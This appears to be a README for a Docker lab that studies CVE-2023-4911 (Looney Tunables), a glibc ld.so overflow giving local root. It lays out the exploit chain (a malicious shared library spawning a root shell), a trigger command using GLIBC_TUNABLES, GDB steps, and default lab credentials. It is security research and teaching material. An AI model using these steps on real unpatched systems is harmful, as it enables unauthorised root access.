
Laboratório baseado em Docker para analisar e explorar CVE-2023-4911 (Looney Tunables), um estouro de buffer no glibc ld.so que leva à escalação local de privilégios. Inclui PoC, análise com GDB e ambiente de desenvolvimento de exploits.
Ambiente de prática baseado em Docker para análise da vulnerabilidade de buffer overflow (Escalada de Privilégio Local) no carregador dinâmico da GNU C Library (glibc) e desenvolvimento de exploit.
| Item | Conteúdo |
|---|---|
| Número CVE | CVE-2023-4911 |
| Alias | Looney Tunables |
| Alvo vulnerável | GNU C Library (glibc) 2.34 ~ 2.38 |
| Versão vulnerável | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 ou inferior |
| Versão corrigida | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| Tipo | Buffer Overflow no ld.so |
| Impacto | Escalada de Privilégio Local (usuário comum → root) |
| Descoberta | Qualys Security Research Team |
O carregador dinâmico glibc (ld.so) analisa a variável de ambiente GLIBC_TUNABLES durante a execução do programa.
Quando um binário SUID é executado, __libc_enable_secure = 1 é definido, e o ld.so entra no caminho de código que anula (nullify) essa variável de ambiente.
Nesse processo, um cálculo incorreto de comprimento para entradas no formato tunable1=tunable2=value causa um buffer overflow.
일반 바이너리: __libc_enable_secure = 0 → nullify 코드 미진입 → 취약점 없음
SUID 바이너리: __libc_enable_secure = 1 → nullify 코드 진입 → 버퍼 오버플로우 발생
Fluxo do exploit:
GLIBC_TUNABLES 오버플로우
↓
ld.so BSS 영역 link_map 포인터 덮어쓰기
↓
라이브러리 검색 경로를 evil_lib/ 경로로 변조
↓
evil.so 로드 → constructor 자동 실행
↓
setuid(0) + execve("/bin/bash") → root shell 획득
Este ambiente foi projetado para ir além da simples execução de PoC, visando analisar diretamente o princípio de funcionamento da vulnerabilidade e desenvolver um exploit.
ld.so e o binário executável possam ser analisados juntosresearcher) para rootCVE-2023-4911/
├── Dockerfile # 취약 환경 이미지 정의 (Multi-stage 빌드)
├── run.sh # Docker 빌드/실행 관리 스크립트
├── check_environment.sh # 컨테이너 시작 시 환경 자동 검증
├── poc/
│ ├── exploit.py # 기본 PoC — crash(SIGSEGV) 확인용
│ ├── exploit_lpe.py # LPE 익스플로잇 — GDB 분석 후 완성
│ └── evil_lib/
│ ├── evil.c # root shell 실행하는 악성 공유 라이브러리
│ └── Makefile
└── test_targets/
├── test_suid.c # SUID 테스트 바이너리 소스
└── test_heap.c # 힙 할당 테스트 바이너리 소스
./run.sh build && ./run.sh run
O contêiner solicitará a senha sudo ao iniciar.
비밀번호: password
# SIGSEGV 발생 여부 확인
python3 /workspace/poc/exploit.py --check-only
# 직접 트리거
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# 컨테이너 내부 직접 분석
gdb -q /workspace/test_targets/test_suid
# 원격 디버깅 (gdbserver)
# 컨테이너 내부
gdbserver :1234 /workspace/test_targets/test_suid
# 로컬 호스트
gdb
(gdb) target remote localhost:1234
Após analisar OVERFLOW_OFFSET e TARGET_ADDR com GDB, atualize os valores no início do exploit_lpe.py e execute.
python3 /workspace/poc/exploit_lpe.py
# 취약 함수 위치
/workspace/glibc-source/elf/dl-tunables.c
# 주요 함수
__tunables_init() # 진입점
parse_tunables() # 오버플로우 발생 지점
tunables_strdup() # 버퍼 할당
# strace로 시스템 콜 추적
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# GDB로 __tunables_init 분석
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
Este ambiente deve ser usado apenas para fins educacionais e de pesquisa em segurança.
--privileged, portanto, use apenas em um ambiente isolado.| Comando | Descrição |
|---|
./run.sh build | Construir imagem Docker |
./run.sh run | Executar contêiner em modo interativo |
./run.sh analysis | Executar modo de análise |
./run.sh test | Verificação rápida de vulnerabilidade |
./run.sh clean | Limpar imagens e contêineres |
| Item | Conteúdo |
|---|
| Imagem base | ubuntu:jammy-20230916 (anterior ao patch) |
| Versão glibc | 2.35-0ubuntu3.3 (vulnerável) |
| Versão ld.so | 2.35-0ubuntu3.3 (vulnerável) |
| Conta de análise | researcher / password |
| Fonte glibc | /workspace/glibc-source (2.35) |
| Porta principal | 1234 (gdbserver) |
| Opções do contêiner | --privileged, --pid=host |